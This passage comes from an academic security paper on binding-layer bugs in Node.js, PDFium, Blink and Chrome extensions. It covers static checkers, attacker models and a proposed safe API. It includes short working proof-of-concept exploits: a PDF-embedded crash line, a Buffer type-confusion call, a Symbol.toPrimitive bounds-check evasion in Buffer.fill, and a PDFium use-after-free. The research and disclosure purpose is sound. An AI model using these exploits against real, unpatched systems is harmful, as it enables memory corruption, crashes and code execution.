JavaScript maycontrol; any time a user-controlled JavaScript object canoverride a method (e.g.,js->Set()), we add that objectto theAlterSet.2.Adds user-controlled JavaScriptObjectorValueargu-ments to theAlterSet.3.InitializesNothingSetto the empty set.NothingSetisthe set of variables initialized to the result of upcallson user-controlled JavaScript. On encountering the linex=array->Set(...), ifarrayis in theAlterSet, thechecker addsxto theNothingSet: a maliciousarraycould override itsSetfunction to throw an exception, leav-ingxas aNothingvalue.4.Removes variables from theAlterSetwhen they are typechecked and from theNothingSetwhen they are com-pared withNothing.5.Flags an error any time a hard-crashing conversion(ToChecked,ToLocalChecked, andFromJust) is calledon an item in theNothingSet. We can force items in theNothingSetto beNothing, triggering a hard crash whenexecution hits theToChecked.This checker ßags 27 errors, 6 of which we conÞrmed by writingcrashing exploitsÑ2 for Node.js, 3 for PDFium and 1 for Blink.As with our previous checker, we mark internal, hard-to-get-tofunctions as suspiciousÑin total, 7. Of the 27, 13 are falsepositives. Again, most false positives arise because some bugsare on impossible paths; for example, the three Blink falsepositives for this checker were due to series of checks performedin the functions calling the seemingly unsafe binding code. Webelieve that adding inter-procedural analysis to these checkerscan address most of the false positives.After looking at the initial reports for this checker, we foundthat it ßagged hard crashes deep in PDFiumÕs V8 wrapper li-brary. The library wraps typical V8 functions likeUint32Valueto accept PDFium JavaScript type arguments (e.g.,CJS_Values)instead of V8 type arguments. We used this information to writea new 40-line, PDFium-speciÞc twist on the original checker.The new checker identiÞes cases where wrapper functions arecalled on un-type-checked userCJS_ValueargumentsÑusuallysomething along the lines of Òparams[0].ToInt().Ó We identi-Þed 39 such cases, 29 of which we have triggered by embedding

--- page 8 ---

JavaScript in PDFs. For example, embedding the following lineof code in a single PDF crashes all open PDF tabs:1app.beep({[Symbol.toPrimitive](){throw0;}})As a Þnal experiment, we gathered all of our Node.js crash-ing exploits and ran them on a different Node.js version, onethat uses MicrosoftÕs ChakraCore JavaScript engine (insteadof V8) [12,70]. Out of 37 crashing exploits, all still crash onNode.js ChakraCore. This gives us conÞdence that we will beable to adapt our checkers from one JavaScript engine to anotherrelatively easily.3.2 Type-Safety ViolationsCasts without type checking.This checker ßags violations ofJavaScriptÕs weaker notion of type-safety: it looks for caseswhere C++ code casts binding-layer JavaScript values to C++V8 typeswithoutchecking if values are of those types. Forexample, the checker detects the following Node.js binding bug,which attackers can use to carry out a type confusion attack:/* node/src/node_buffer.cc */816template<typenameT,enumEndiannessendianness>817voidWriteFloatGeneric(constFunctionCallbackInfo<Value>&args){!!818Environment*env=Environment::GetCurrent(args);819boolshould_assert=args.Length()<4;820if(should_assert){821THROW_AND_RETURN_UNLESS_BUFFER(env,args[0]);822}823Local<Uint8Array>ts_obj=args[0].As<Uint8Array>();!!824ArrayBuffer::Contentsts_obj_c=ts_obj->Buffer()->GetContents();!!825...826}On lines 819Ð822, the code conditionally checks the typeof the Þrst argument (args[0]). Unfortunately, the conditionshould_assertdepends on the userÑshould_assertis de-Þned based on the number of arguments the user providesÑsoattackers can bypass the type check. On line 823, the un-type-checkedargs[0]is cast to aUint8Array. Finally, from line824 forward,WriteFloatGenericcalls methods on the castobjectÑso a well-chosen argument can amount to arbitrarycode execution.We trigger this bug using the publicbufferAPI, whichattempts to apply JavaScript-layer checks before calling intothe buggy binding function:/* node/lib/buffer.js */1244Buffer.prototype.writeFloatLE=functionwriteFloatLE(val,offset,noAssert){!!1245val=+val;1246offset=offset>>>0;1247if(!noAssert)1248binding.writeFloatLE(this,val,offset);1249else1250binding.writeFloatLE(this,val,offset,true);1251returnoffset+4;1252};This JavaScript-layer code convertsvalandoffsetto num-ber values in lines 1245 and 1246, but does nothing to typecheck the receiverthis, which should be aBuffer. Then, de-pending on the user-suppliednoAssert, it calls the bindinglayerwriteFloatLE(which calls the buggy binding functionWriteFloatGeneric) with either three or four arguments. Inthe latter case, the binding layerÕsshould_assertargumentisfalse, disabling type checking and triggering the incorrectcast. The following exploit triggers this bug:1Buffer.prototype.writeFloatLE.call(0xdeadbeef,0,0,true);!!This code snippet triggers a call toWriteFloatGenericwith0xdeadbeefasargs[0],0asargs[1], etc. The exploit willcause a type confusion attack: it almost always hard crashes,but a well-crafted argument (in place of0xdeadbeef) can causetheBuffermethod call onts_objto execute meaningful code.Attackers could embed this seemingly benign code deep inthe dependency tree of publicly available, anonymous, andunsigned Node.js packages and go unnoticed [83, 91].The type-casting checker is implemented as another intra-procedural forward code traversal. Its main computed data struc-ture is the set of un-type-checked user arguments; whenever itsees a cast of an un-type-checked argument, it ßags an error.For each binding layer function, the checker:1.Initializes the set ofUncheckedTypesto the empty set.2.Adds any user-controlled JavaScript arguments to the setofUncheckedTypes.3.Removes any argument that is type checked from theUncheckedTypesset.4.Flags an error when a variable inUncheckedTypesis castusing V8ÕsAs<T>()function.The checker ßags 13 bugs; we conÞrm 4 by crafting exploits forthem. Most false positivesÑespecially in the Chrome systemsÑoccur because of impossible paths into our ßagged reports; inter-procedural checking and checking between JavaScript-layer andC++-layer functions would make our reports far cleaner.3.3 Memory-Safety ViolationsThe checkers in this section identify memory-safety violations.They look for instances where user JavaScript can alter valuesused in memory operations and instances where user JavaScriptcan force the deallocation of objects still used by C++ code.Attackers could leverage these sorts of bugs to, for example,read the TLS keys of a Node.js web application.Memory operations dependent on implicit casts.V8provides built-in functions that return C++ representa-tions of JavaScript values. For example, the statement

--- page 9 ---

Òuint32_ty=x->Uint32Value()Ó assignsyto the C++ un-signed integer value ofx. Programmers occasionally depend onthe results of these functions for sensitive operations such asmemory allocations (e.g.,malloc(y)). If the JavaScript receiveris a primitive type (e.g.,xis aNumber), this is Þne; if the receiveris a non-primitive type, calls likex->Uint32Value()can bedangerous. In particular, whenxis anObject, the JavaScript en-gine upcalls thex[Symbol.toPrimitive]function (if deÞned)within theUint32Valuefunction. Attackers can leverage thisfunction in order to, say, evade bounds checks. We will callfunctions likeUint32ValueÑfunctions that implicitly cast avalue by callingSymbol.toPrimitiveÑimplicitly casting.This checker ßags instances where the binding layer doesnotperform type checking before depending on the result of animplicitly casting function for a memory operation. It identiÞesan out-of-bounds write error in Node.jsÕs bufferfillfunction,which Þlls in a user-provided bufferbufwith a single valuestarting at astartindex and going to anendindex [92].fillmust ensure that bothstartandendare within the bounds ofbuf. Bounds checking, though, is not as straightforward as itseems:filltries to implement some checking in the JavaScriptlayer and some in the C++ binding layer. We give the JavaScriptchecks below:/* node/lib/buffer.js */662functionfill(val,start,end,encoding){663...664// bounds checks665if(start<0||end>this.length)666thrownewRangeError(!Out of range index!);667if(end<=start)668returnthis;669670// calls binding code671binding.fill(this,val,start,end,encoding);672}The checks that start on line 664 are supposed to ensure thatthestartandendvalues are within the bounds of the buffer.After these checks, on line 671, the JavaScript code calls theC++ binding layer implementation ofbinding.fill[92]:/* node/src/node_buffer.cc */604voidFill(constFunctionCallbackInfo<Value>&args){605size_tstart=args[2]->Uint32Value();606size_tend=args[3]->Uint32Value();607size_tfill_length=end-start;608...609CHECK(fill_length+start<=ts_obj_length);610611if(Buffer::HasInstance(args[1])){612SPREAD_ARG(args[1],fill_obj);613str_length=fill_obj_length;614memcpy(ts_obj_data+start,fill_obj_data,MIN(str_length,fill_length));!!615...616}617}Lines 605 and 606 get the unsigned integer values of argumentstwo and three, the start and end index of the Þll operation. If thestart and end indices are unsigned 32-bit integers like 0 and 5,everything is Þne; if an attacker passes in an object, though, theycan take advantage of implicit casting to call their maliciousSymbol.toPrimitivefunction. In doing so, they can returnvalues that evade the single bounds check on line 609, a checkthat tries to ensure that the length of the write is less than thelength of the buffer object.In the next paragraphs, we will explainhowa maliciousSymbol.toPrimitivefunction returns a negative value; in thisone, we will explain what happens whenSymbol.toPrimitivereturns such a value forstart(thoughendcan be abused thesame way). Sincestart(line 605) is an unsignedsize_t,anegative value will cause it to overßow. Whenstartis verylarge, the addition in the bounds check (line 609) wraps around:fill_length+startbecomes less thants_obj_length.Since the bounds check passes, thememcpystarting at locationts_obj_data+startexecutes; the negative value passed inforstartclearly controls the location of the write.The following exploit code carries out this attack:1varbuff=Buffer.alloc(1);2varctr=03varstart={4[Symbol.toPrimitive](hint){5if(ctr==0){6// evade the check in lib/buffer.js7ctr=ctr+1;8return0;9}else{10// in the C++ implementation of fill:11return-1;12}13}14};15buff.fill(victim,start,1);Line 3 deÞnes an objectstartto be passed in as the startvalue of the write (line 15). Since there is no type checkingin either the JavaScript or C++fillfunctions, ourstartis a legal argument value. On line 4, we deÞne the mali-ciousSymbol.toPrimitivefunction. Now, whenever some-one tries to get the number value ofstart, our function willbe called. This function uses the counterctr, deÞned on line2, to evade bounds checking in the JavaScript code. It returnsa benign value of 0 the Þrst time it is called. The next timestart[Symbol.toPrimitive]is called, howeverÑin the C++binding codeÑthe function returns a negative value.To identify such errors, our checker does a forward traversalof each function. Its main computed data structure is the setofDangerousValues, values that are the results of upcalls intouser JavaScript. We ßag a bug if a memory operation dependson a dangerous value. The checker:1.Initializes theUncheckedTypes, the set of variables whosetypes have not been checked, to the empty set.2.Adds any user-controlled JavaScript arguments to theUncheckedTypesset.

--- page 10 ---

3.Removes any argument that is actually type checkedfrom theUncheckedTypesset. For example, the fol-lowing line of code would cause the checker to re-move argumentargfrom the set ofUncheckedTypes:if(!arg->IsUint32())return.4.Adds the results of any implicitly casting calls onUncheckedTypesto theDangerousValuesset.5.Adds any values that are assigned using values inDangerousValuestoDangerousValues: ifxis inDangerousValues, the liney=x+5will causeytobe added toDangerousValues.6.Flags an error if any value inDangerousValuesappearsin an expression that is used as an argument to a memoryoperation (e.g.,mallocormemcpy).The checker ßags 5 errors, of which 4 are true and 1is false. All of these reports are in Node.js. Two of ourtrue bugs appear in template codeÑWriteFloatGenericandReadFloatGenericÑthat is actually used by four ex-posed binding layer functions:WriteFloatLE,WriteFloatBE,ReadFloatLE, andReadFloatBE. We write exploits that resem-ble theFillexploit in this section for all 4 errors. The false pos-itive, in Node.jsÕs crypto bindings, arises because these bindingsdo careful invariant re-checking that accounts for wraparound.PDFium use-after-frees.This checker ßags potential use-after-free errors, instances in PDFium bindings where malicious userJavaScript can force an object to be freed while C++ maintainsa live reference to that object. Consider the following bug [24]:src/third_party/pdfium/fpdfsdk/javascript/Annot.cpp72boolAnnot::name(IJS_Context*cc,CJS_PropValue&vp,CFX_WideString&sError){!!73CPDFSDK_BAAnnot*baAnnot=ToBAAnnot(m_pAnnot.Get());!!74if(!baAnnot)returnfalse;75...76CFX_WideStringannotName;7778vp>>annotName;79baAnnot->SetAnnotName(annotName);80}This bug appears in the binding layer of PDFiumÕs JavaScriptAPI, an API that allows JavaScript embedded in PDFs to makechanges to the underlying PDF representation. Thenamefunc-tion above, for example, is supposed to set the name of a PDFannotation.nameÕsCJS_PropValue&argument,vp, is a user-supplied JavaScript value; we can craft a JavaScriptvpargu-ment that causes pointerbaAnnotto be used (line 79) after it isfreed (line 78).The function initializesbaAnnotand checks that it is non-null. The next two lines are supposed to assignannotName,aspecial type of PDFiumString, to the value ofbaAnnot, theannotation name. This assignment uses the overloaded Ò>>Óoperator; whenannotNameis aCFX_WideString, the operatorcalls the functionToCFXWideStringwithvpas the receiver.ToCFXWideStringis part of PDFiumÕs layer which wraps theV8 API: internally, this function just calls V8ÕsToStringon thevpobject. Naturally, an attacker can provide their own deÞnitionofToStringfunction to deletebaAnnotand trigger the UAF.For example, the following exploit is embedded as JavaScriptcode into a PDF with radio-button widgets:1constannots=this.getAnnots();2annots[0].name={3toString:()=>{4this.removeField("myRadio");5gc();6returnfalse;7}8}In this snippet,annots[0]corresponds tovpin the bind-ing layer. We overridenameÕstoStringfunction to removethe"myRadio"Þeld, which corresponds tobaAnnotin thebinding layer. Now, there are no more JavaScript referencesto"myRadio"; when we callgcand force garbage collec-tion on line 5, the GC frees the memory associated with"myRadio". This memory, however, isalsoassociated withbaAnnotin the binding layer. Unfortunately, when control re-turns to the bindings,baAnnotis used without any checks(baAnnot->SetAnnotName(annotName))Ñeven though theJavaScript call already caused it to be freed.Our UAF checker does a forward traversal of eachPDFium function parse tree. Its main computed data set isFreeablePointers, pointers that may have been freed in userJavaScript; it ßags a bug whenever a freeable pointer is used.For each function, it:1.Initializes the set of all pointers that have been initialized,InitPointers, to empty.2.InitializesFreeablePointers, the set of pointers that maybe altered by user JavaScript, to empty.3.Adds newly initialized pointers toInitPointers(e.g., af-ter the lineBAAnnot*x=foo(),xis inInitPointers).4.Adds allInitPointerstoFreeablePointerswhen itencounters a PDFium function that can upcall into userJavaScript. For example, it addsxtoFreeablePointersafter the linejsval.ToInt().5.Flags an error whenFreeablePointersare used (e.g., atthe line*x).This checker movesxinInitPointerstoFreeablePointerswhenxÕs initialization is followed by an upcall into JavaScript.The checker does so because the JavaScript upcall may removethe JavaScript object associated withxand then force garbagecollection, thereby making any subsequent uses ofxin C++a use-after-free violation. In our checker implementation, weconsider any potential upcall (e.g.,x.ToInt()) to be a feasibleupcall since PDFium does not perform any binding layer typechecking. Therefore, we know we can almost always pass anObjectwith maliciously overridden methods to the function.We do not add obviousuniquepointers to theInitPointersorFreeablePointerssets, since we cannot trigger a UAF attackon auniquepointer.

--- page 11 ---

This checker ßags 9 errors. We wrote exploits for 3 of themand mark the remaining 6 suspicious. All the suspicious bugsare easy to reach, but we are not sure which PDF Þelds can beremoved from user JavaScript. We are in contact with PDFiumdevelopers about how to remove certain elements (such as an-notations, above) from PDFs.4 Runtime System Design and Attacker ModelsIn the previous sections, we outlined several classes of bindinglayer bugs; in this section, we contextualize the real-worldimpact of our results in the systems that we analyzeÑBlink,the Chrome extension system, Node.js, and PDFium. We alsooutline the attacker models that the systems assume and effortsthey make to mitigate the effects of binding layer bugs. In somecases, we propose changes to their efforts and attacker models.4.1 BlinkChromeÕs rendering engine, Blink, relies on V8 to expose APIs(e.g., the DOM) to JavaScript web applications. Blink assumesthat JavaScript application code may be malicious [14]Ñthat itmay, for example, try to leak or corrupt data of different originsby exploiting a bug in the binding layer. As a result, Blink treatstype- and memory-safety violations as security concerns. Blinkdoes not consider crashing bugs and denial-of-service attacksto be security errors because malicious JavaScript can alwayshang the event loop and deny service. Nevertheless, Blink triesto mitigate the risk and likelihood of all three categories ofbug: they use automatically generated bindings, a C++ garbagecollector, and out-of-process iframes (Figure 2a).Blink addresses most type- and crash-safety binding bugsby automatically generating most of its bindings from We-bIDL speciÞcations of web platform APIs (e.g., the DOM,XMLHttpRequest, etc.). Once the generating templates are cor-rect, generated code can perform type checking in a consistent,crash safe way, avoiding type confusion and hard-crashing bugs.Templates and WebIDL compilers may still be buggy [15], butthey are more reliable than manual type checking.Blink avoids memory leaks and use-after-free vulnerabilitieswith a garbage collector, called Oilpan, for C++ binding ob-jects. Oilpan prevents memory errors that arise when bindinglayer functions call back into JavaScript, altering or removingpointers on which C++ code still relies [39].Blink is also protected by ChromeÕs new out-of-processiframes (OOPIFs). OOPIFs isolate iframes with different ori-gins in separate processes [22], reducing the severity of someattacks (e.g., by making it more difÞcult to leak cross-origindata)Ñeven attacks that exploit binding bugs.Unfortunately, neither OOPIFs nor the combination of codegeneration and garbage collection protect all binding layer Blinkcode. Some Blink bindings are still handwritten (since they needto manipulate or allocate JavaScript objects directly); thesebindings are still vulnerable to programmer error. For example,we identiÞed a crashing bug in the Custom Elements DOMAPIs that we can trigger with crafted JavaScript.OOPIFs are not a comprehensive defense either: Chrome onlydeploys them for high-proÞle websites [22], leaving the rest ofthe web unprotected. Moreover, OOPIFs only defend at coarsegranularity, and many client-side, language-level mechanismsrely on JavaScript memory- and type-safety for Þne-grainedsecurity [50,60,63,94,109]. As a result, a JavaScript attackerwho can exploit binding bugs to break safety assumptions mayviolate these systemsÕ language-level guaranteesÑeven thoughthe attacker cannot break ChromeÕs isolation guarantees.4.2 Chrome Extension SystemThe Chrome extension system uses V8 to expose privilegedAPIs to JavaScript extension code (e.g., to allow extensionsto create new tabs or read page contents on certain origins).Chrome assumes that extensions are Òbenign-but-buggyÓ [4]Ñthat they may contain errors but are not intentionally malicious.The pages that extensions interact with, however,maybe mali-cious; they may even try to exploit vulnerabilities in extensioncode. To address attacks from malicious pages, the runtime iso-lates thecorepart of the extensionÑthe code that has access toprivileged APIsÑfrom thecontent scriptsthat directly interactwith the page: Chrome runs the core extension in an isolatedprocess. Though, for performance reasons, multiple extensionsare placed in the same process [32].Even with the extension systemÕs isolation and privilegeseparation mechanisms in place, attackers have exploited ex-tension system vulnerabilities and managed to abuse privilegedAPIs [20,21,60]. Unfortunately, binding-layer bugs can fur-ther amplify these exploit strategies. Type- and memory-safetyvulnerabilities are particularly serious, since these classes ofbinding bugs may allow JavaScript code to use the privilegedAPIs of co-located extensions, otherwise not requested by thevulnerable extension nor approved by the user (for this exten-sion). Crash-safety bugs, on the other hand, do not have securityimplicationsÑthey can only be used to crash the isolated exten-sion process.2The Chrome extension system uses binding layer defensesto reduce the risk of crash-, type-, and memory-safety bugs:it relies on a trusted JavaScript layer to do crash-safe typechecking before calling into binding code (Figure 2b). Attackersmay bypass the trusted JavaScript layer, though [20,21]; a bugin the trusted JavaScript layer and a bug in the bindings combineto form a security vulnerability. Moreover, Chrome extensionsystem does not use C++ garbage collection or code generationto eliminate binding bugs by construction.We believe that Chrome extension system should assume astronger attacker and treat extensions as potentially maliciouscode. Numerous extensionsÑused by millions of peopleÑhaveturned out to be malicious [46,48,94,103], while other pop-ular extensions such as AdBlock Plus [51] have been sold tountrustworthy parties. Chrome currently does not assume ma-licious extensions in their threat model and, to make mattersworse, automatically downloads extension updates as long asthose updates do not request new privileges. Thus, if an attackermaintains a least-privileged extension, they can update that ex-2Since Chrome notiÞes the user when an extension crashes, however, a mali-cious page may exploit hard-crashing bugs to annoy the user into disabling oruninstalling a targeted extension such as HTTPS Everywhere [33].

--- page 12 ---

Application codeV8 engineBinding codeBlink runtime systemC++JavaScriptManual FPDF binding codeFPDF implementation in V8PDFium runtime systemC++JavaScriptSingle sandboxed processPDF-embedded codeType-checking, wrapper codeManual binding codeNode.js runtime systemC++JavaScriptServer application codeType-checking, wrapper codeManual binding codeExtension runtime systemC++JavaScriptSandboxed per-extension processExtension-core codeWeb application codeGenerated binding codeBlink runtime systemWebIDL + C++JavaScriptSandboxed per-tab process(a) ChromeÕs Blink relies onprocess isolation and automaticbinding code generation to ad-dress binding-layer vulnerabili-ties.Application codeV8 engineBinding codeBlink runtime systemC++JavaScriptManual FPDF binding codeFPDF implementation in V8PDFium runtime systemC++JavaScriptSingle sandboxed processPDF-embedded codeType-checking, wrapper codeManual binding codeNode.js runtime systemC++JavaScriptServer application codeType-checking, wrapper codeManual binding codeExtension runtime systemC++JavaScriptSandboxed per-extension processExtension-core codeWeb application codeGenerated binding codeBlink runtime systemWebIDL + C++JavaScriptSandboxed per-tab process(b) The Chrome extension sys-tem relies on a small, isolated,and trusted JavaScript layer totype check arguments beforecalling into hand-written bind-ing code.Application codeV8 engineBinding codeBlink runtime systemC++JavaScriptManual FPDF binding codeFPDF implementation in V8PDFium runtime systemC++JavaScriptSingle sandboxed processPDF-embedded codeType-checking codeManual binding codeNode.js runtime systemC++JavaScriptServer application codeType-checking, wrapper codeManual binding codeExtension runtime systemC++JavaScriptSandboxed per-extension processExtension-core codeWeb application codeGenerated binding codeBlink runtime systemWebIDL + C++JavaScriptSandboxed per-tab process(c) Node.js implements most ofits core libraries in JavaScript,atop a small hand-written bind-ing layer. However, the bind-ing layer is accessible to userJavaScript and the JavaScriptlayer is not isolated from appli-cation code.Application codeV8 engineBinding codeBlink runtime systemC++JavaScriptManual FPDF binding codeFPDF implementation in V8PDFium runtime systemC++JavaScriptSingle sandboxed processPDF-embedded codeType-checking, wrapper codeManual binding codeNode.js runtime systemC++JavaScriptServer application codeType-checking, wrapper codeManual binding codeExtension runtime systemC++JavaScriptSandboxed per-extension processExtension-core codeWeb application codeGenerated binding codeBlink runtime systemWebIDL + C++JavaScriptSandboxed per-tab process(d) PDFium wraps the V8 APIwith a small, but less safe, C++API that it then uses to exposeAPIs to JavaScript.Figure 2ÑThe binding layers and their defenses across JavaScript runtime systems. The trustworthiness of code decreases with colorÑwhite isthe most trustworthy, while dark blue is the often untrusted JavaScript application code.tension with code that leverages a binding layer bug to, perhaps,escalate the malicious extensionÕs privileges. Chrome will au-tomatically download this malicious update, and the extensionwill operate with unauthorized access to user information.4.3 Node.jsNode.js is a JavaScript runtime system for building serversand desktop applications. The runtime uses V8 to ex-pose APIs for Þlesystem, networking, and crypto utilities.Node.js (Figure 2c) exposes low-level binding APIs (e.g.,process.binding(!fs!)) which JavaScript code, in turn, usesto implement the core standard libraries (e.g.,fs). By imple-menting most code in a high-level, memory- and type-safelanguage instead of C++, Node.js makes it easier for developersto safely create new features.Despite only implementing minimal machinery in C++,Node.js still struggles with binding layer bugs (¤3). Node.jsdoesnotconsider binding bugs to be security risks; to thebest of our understanding, the Node.js attacker model assumesthat JavaScript application code is benign.3However, discor-dantly, Node.js recently added support for zero-Þlling buffers.Zero-Þlled buffers make it more difÞcult for remote attack-ers to exploit benign but buggy application code that relies onthebufferlibrary to disclose memory (in the style of Heart-bleed) [1]. Binding layer vulnerabilities reintroduce the problemthat zero-Þlling buffers are designed to Þx; attackers can usebinding bugs (e.g., inbuffer) to read and write arbitrary partsof Node.js processes (¤3).3Personal communication with the Node.js security list, unfortunately, did notlead to a clear explanation of Node.jsÕs attacker model. For example, ourarbitrary memory write exploit was not considered a security bug, while ourless severe out-of-bounds write was ßagged as a security issue. In this paper,we conservatively assume a relatively weak attacker. We, however, remark thatsince our original reports, the Node.js team has established a security workinggroup to, among other things, address some of concerns raised by this work.We are actively working within the scope of this group to reÞne Node.jsÕsattacker model [73].Furthermore, we believe that the buggy but benign model isnot generally appropriate: the node package manager (NPM)and Node.js workßow make it easy to download and executeuntrusted code [76,83]. Members of the Node.js team andNPM recommend that developers Ònot execute any software...[that they] do not trust [75].Ó Binding bugs make it hard tofollow this advice. Most binding bugs are reachable from coreNode.js libraries, so developers cannot easily audit and there-fore trust NPM packages. Even if a program does notrequireany moduleÑa Þrst indication that it may be trying to do some-thing sensitiveÑthat code can nevertheless leverage a bindingbug to be extremely damaging. For example, a malicious NPMpackage could exploit one of the out-of-bounds vulnerabili-ties that we found in the corebufferlibrary, which is alwaysloaded, to read and write arbitrary parts of the Node.js process(e.g., usersÕ secret keys). Even our crashing bugs may be useful:since Node.js is popular for implementing web-servers, attack-ers could use hard crashing binding errors to take down a serverthat otherwise handles crashes gracefully.Finally, attackers may use binding bugs against language-level security mechanisms for Node.js, including [8,27,50].The security systems defend against language-level attacks butassume JavaScriptÕs memory- and type-safety. Bugs in the bind-ing layer can violate these assumptions (as we show in ¤bugs),therefore violating the security guarantees of the language-levelmechanisms. Neither the language-level systems nor more gen-eral JavaScript mechanisms (e.g., [26]) can safely expose sub-sets of the Node.js API without giving up on their guarantees.4.4 PDFiumPDFium, ChromeÕs PDF rendering engine, parses and rendersPDF documents. PDFs may contains JavaScript that customizesthe document at runtime (e.g., by drawing new widgets or Þllingin a form); embedded JavaScript may even submit forms toremote servers. PDFium exposes an API for customizing PDFsas such using V8 bindings [96].

--- page 13 ---

Chrome assumes that PDF documents may be malicious, andtreats type- and memory-safety violations as security concerns.Chrome is especially concerned about binding layer attacks,since, for example, Òa PDFium UAF will usually lead to re-mote code execution, particularly when it is triggered from[JavaScript ] where the adversary has substantial control overwhat happens between the free and the subsequent re-useÓ [85].Despite their attacker model, PDFium does not use any se-rious binding layer defenses: their bindings are hand-writtenusing a crash-unsafe library that minimally wraps V8Õs APIs(Figure 2d). Chrome still runs the PDFium renderer in an iso-lated, sandboxed process, though, which limits the damage ofbinding errors. This is because ChromeÕs OS-sandbox restrictsPDFium to communicating with other Chrome processes byusing message passing. Unfortunately, PDF documents of dif-ferent origins are rendered in the same process. As a result,binding layer memory-read exploits may, say, violate the same-origin policy by reading the contents of a different-origin PDF.The Chrome team is working on a more robust architecturethat will isolate origins, making cross-origin attacks extremelydifÞcult [85].5 Preventing Errors By ConstructionThis section presents a new V8-based binding-layer API, onethat makes it easier for developers to preserve JavaScriptÕscrash-, type-, and memory-safety. We describe the APIÕs design,implementation, and evaluation: it is backwards compatible andimposes little overhead and little porting burden. The API helpsdevelopers avoid bindings bugs by automatically type-checkingJavaScript values and by forcing developers to more gracefullyhandle errors.5.1 Safe API DesignA safe binding-layer API should:1.Force developers to handle failures (e.g., exception-throwing upcalls) in a crash-safe way, by propagatingerrors back to JavaScript instead of hard crashing.2.Disallow developers from using JavaScript values beforechecking their types.3.Make the concurrent programming model explicit by mak-ing clear which C++ functions can trigger JavaScript up-calls that may change invariants (¤3).Our API achieves these goals by forcing functions that in-teract with JavaScript to use a special type,JS<T>, that encap-sulates either a JavaScript value of typeT(e.g.,v8::String)or a JavaScript exception of typev8::Error. Our API satisÞesthe Þrst goal because aJS<T>forces the developer to han-dle av8::Errorexplicitly instead of triggering a hard crash;it satisÞes the second goal by only providing functions thatautomatically type-check values before casting them; and itsatisÞes the third goal by forcing each potentially upcallingfunction to return aJS<T>, explicitly signalling that these func-tions may throw errors or have other side effects. Table 5 out-lines the interface that our API exposes to C++ binding code.The API includes three kinds of functions that interact withJS<T>accessor methodsonVal:JS<T0x...xTn>->((T0,...,Tn)->JS<T>)->JS<T>onFail:JS<T>->(Error->JS<Error>|void)->JS<Error>|voidValue-marshaling functionsmarshal:Valuev0->...->ValuevN->JS<T>implicitCast:Valuev0->...->ValuevN->JS<T>toString:Valueval->JS<String>ObjectmethodsgetProp:Objectobj->Valuekey->JS<T>getOwnPropDesc:Objectobj->Stringkey->JS<Value>setProp:Objectobj->Valuekey->ValuenewVal->JS<bool>defineOwnProp:Objectobj->Namekey->Valuev->JS<Value>delProp:Objectobj->Valuekey->JS<bool>hasProp:Objectobj->Valuekey->JS<bool>hasOwnProp:Objectobj->Valuekey->JS<bool>getPropNames:Objectobj->JS<Array>getOwnPropNames:Objectobj->JS<Array>Table 5ÑThe interface that our JavaScript engine API exposes. Weuse ML-style types to describe the function types:T0x...xTndenotes a product type;T0|T1denotes a sum type;T0->T1denotesa function type. Like V8, all calls take anIsolate*as a Þrst argument,andValues andObjects are wrapped inLocal<>handles; we haveomitted these for brevity.JavaScript:JS<T>accessor methods,Value-marshaling func-tions, andObjectmethods.4JS<T>accessor methods.JS<T>is the only type that describesJavaScript values in our API. We force programmers to prop-erly handle JavaScript values by only allowing them to accessJS<T>s using two safe accessor methods,onValandonFail(see Table 5). The programmer interacts withJS<T>s by regis-tering callbacks using these methods; the API invokes the call-backs after type checking and casting.onFailhandles aJS<T>encapsulating av8::Errorby registering an error handler thatthe API calls when type checking fails or when JavaScript up-calls throw an error. The programmer must register an errorhandler: failing to do so causes a compile-time warning. Thismeans that all functions that return aJS<T>are guaranteed tohave associated error-handling code.onValregisters a callback that accepts one or more values;the callbackÕs type signature indicates which values the pro-grammer expects. For convenience, the programmer can im-plement overloading by chaining multipleonValcalls. In thatcase, the API invokes the Þrst callback with a matching typesignature, or the error handler if no signature matches.Value-marshaling functions.The API provides three func-4Our API is inspired by HaskellÕs monads and JavaScriptÕs promises. It differsfrom V8Õs usage ofMaybe<T>types (¤3.1) in two ways: (1)JS<T>keeps trackof exceptions raised by JavaScript code and (2) the methods onJS<T>arecrash- and type-safe.

--- page 14 ---

tions for converting JavaScriptValues toJS<T>s.ValueisV8Õs base ÒunknownÓ type for all JavaScript values.Value-marshaling functions convertValues either to a speciÞc type(e.g.,v8::String) or tov8::Errorin case of failure. To en-force type- and crash-safety, these functions always check thetype of theirValuevalarguments before casting. Internally,this amounts to callingval->IsString(), say, to check thatvalis truly of typev8::String. If so, the marshaling func-tion returns aJS<v8::String>; if not, it returns av8::Error.Because the marshaling functions return aJS<T>, they requirethe programmer to explicitly handle errors; recall that, to ac-cessJS<T>values, the programmer must register callbacks withonValandonFail.Objectmethods.The API also provides methods for safely ma-nipulatingObjects. These methods are similar to V8Õs objectmethodsÑe.g.,Get, which gets the value of a propertyÑbutthey make side effects explicit. As an example, V8ÕsGetmaysilently upcall into a user-deÞned JavaScript getter, leading toan unexpected exception. LikeGet, our APIÕsgetPropmethodgets the value of a propertyÑbut it returns aJS<T>insteadof aValue.5This return value makes it clear that an upcall ispossible and forces the programmer to handle the potential sideeffects of that upcall by registering anonFailerror handler.Example:blobConstr.We re-implementblobConstrfrom¤2 using our safe API:1void2blobConstr(constFunctionCallbackInfo<Value>&args)3{4// marshal arg[0] v8::Value from JavaScript5marshal(args.GetIsolate(),args[0])6// if marshaling to Array succeeded:7.onVal([&](Local<Array>blobParts){8// Add each string part of the array to the blob9uint32_tn=blobParts->Length();10for(uint32_ti=0;i<n;i++){11// Get the ith element from array argument12getProp(context,blobParts,i)13// Getting succeeded and returned a string:14.onVal([&](Local<String>part){15// Add already-casted string part to the blob16blobImpl->AddV8StringPart(part);17})18// if above failed or element is not a string:19.onFail([&](Local<Error>err){20// handle unexpected field21})22}23})24// if arg[0] is not an Array or onVal failed:25.onFail([&](Local<Error>err){26// handle error27});28}This function creates a new JavaScriptBlobobject out of anarray of JavaScript strings. First, it uses themarshalfunction5Or aMaybe<T>values that can be converted to aValuewith hard-crashingconversion functions.to safely convert the JavaScript valueargs[0]to a C++ value(line 4).6In order to use the result of themarshalcall, theprogrammer must register callbacks viaonValandonFail.onValandonFaileach take one argument, a C++ lambda, thatthe API invokes after executingmarshal. The formal argumentto theonVallambda (blobPartson line 6) speciÞes the typethat the programmer expectsmarshalto return (Array). Atruntime, the API checks the type ofargs[0]before casting itand executing the callback. Ifargs[0]is anArray, theonValcallback executes; if not, theonFailone runs instead, allowingthe programmer to pass an exception back to JavaScript code.In this way, casting and type checking are always coupled,eliminating a range of type-safety bugs.blobConstrÕs top-levelonValcallback uses the safe APIto extract theStringvalues at each index in theblobPartsJavaScript array 